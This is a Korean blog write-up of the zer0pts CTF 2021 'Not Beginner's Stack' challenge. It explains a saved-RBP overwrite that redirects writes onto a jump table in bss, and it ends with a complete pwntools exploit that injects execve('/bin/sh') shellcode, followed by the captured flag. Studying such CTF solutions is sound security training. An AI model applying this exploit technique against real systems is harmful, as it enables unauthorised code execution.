Sechack

zer0pts CTF 2021 - Not Beginner's Stack 풀이 본문

CTF

zer0pts CTF 2021 - Not Beginner's Stack 풀이

Sechack 2021. 3. 8. 15:40
반응형

 

아이다로 보니까 뭔가 괴상하다. _start밖에 존재하지 않는걸로 보아 순수 어셈으로 구현된게 분명하다.

어셈가지고 무슨 이상한짓을 했는지 보니까 ret대신 jmp를 사용한다. 문제 설명란에도 영어로 무언가가

써있었는데 해석해보면 많은 포너들은 return address를 덮는것을 좋아합니다. 하지만 이번에는 그러지 못할것입니다. 대충 이런뜻이다. ret자체가 없기때문에 eip조작이 불가능하다. 하지만 __@8_return_address를 보면 edx에

0x1000이 들어가는데 rsi에는 rbp-0x100이 들어간다. 그리고 __@9_return_address를 보면 leave가 있다. 아직 이 부분들이 뭘 하는지는 모르지만 rbp-0x100을 rsi에 넣고 edx에 0x1000을 넣고 read를 호출하는거 보면 BOF가 일어난다.

__@9_return_address는 뭐하는앤지는 모르겠지만 leave가 있는걸로 보아 rbp를 변조해야하는 문제같았다.

 

사실 sfp덮어써서 rbp조작하는거 말고는 아이디어가 안떠올랐다. 한번 0x108만큼 a를 입력으로 줘보았다.

gdb로 attach해서 보니까 예상대로 aaaaaaaa이 rbp에 들어갔다. lea rsi, [rbp-100h] 라는 명령어가 있으므로

다음 입력할때는 원하는 주소에 입력할 수 있다. 

 

 

NX가 해제되어있다. 이말은 즉 쉘코드를 올릴수가 있단말이다. read나 write에서는 ret대신 jmp     ds:__stack_shadow[rcx*8] 이러한 명령어를 쓴다. gdb로 동적분석해본 결과 rcx는 항상 1이다. 그렇게 되면 __stack_shadow + 8의 주소로 점프하게 될것이다.

 

__stack_shadow는 보니까 bss쪽이었다. 즉 쓰기권한이 있다. 이제 슬슬 실마리가 잡힌다. __stack_shadow+8이 사실상 return address나 다름없는거고 __stack_shadow+8을 쉘코드가 있는 주소로 점프뛰게 하면 된다.

 

앞에서 발생한 BOF와 연계하자면 leave명령어로 인해 sfp값을 변조하면 그게 rbp에 들어가게 되고 rbp-0x100이 rsi에 들어가게 되면서 원하는 주소에 overwrite가 가능하게 된다. 즉 sfp에는 우리가 원하는 주소 + 0x100을 넣으면 된다.

첫번째 입력때 sfp를 (__stack_shadow+8) + 0x100만큼 변조하게 된다면 두번째 read가 호출될때 rsi에 __stack_shadow+8이 들어가게 되면서 이 바이너리에서 사용하는 return address나 다름없는 영역을 덮어쓸수가 있게된다. 바로 뒤에다가 쉘코드 넣고 쉘코드가 삽입된 주소로 __stack_shadow+8을 덮어쓰면 셸이 따이게 된다.

 

아래는 전체 익스플로잇 코드이다.

 

from pwn import *

context.arch = "amd64"

#p = process("./chall")
r = remote("pwn.ctf.zer0pts.com", 9011)
e = ELF("./chall")

jmp = e.sym["__stack_shadow"]

shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))

payload = b"a"*0x100
payload += p64(jmp + 0x108)

r.sendafter("Data: ", payload)
r.sendafter("Data: ", p64(jmp + 16)+shellcode)

r.interactive()

 

사실 이 바이너리에서 __stack_shadow라는걸 bss에 만들어서 사용하기 때문에 jmp = e.bss() 로 바꿔도 익스플로잇이 성공하게 된다.

 

 

성공적으로 익스플로있에 성공했다.

 

zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

반응형
Comments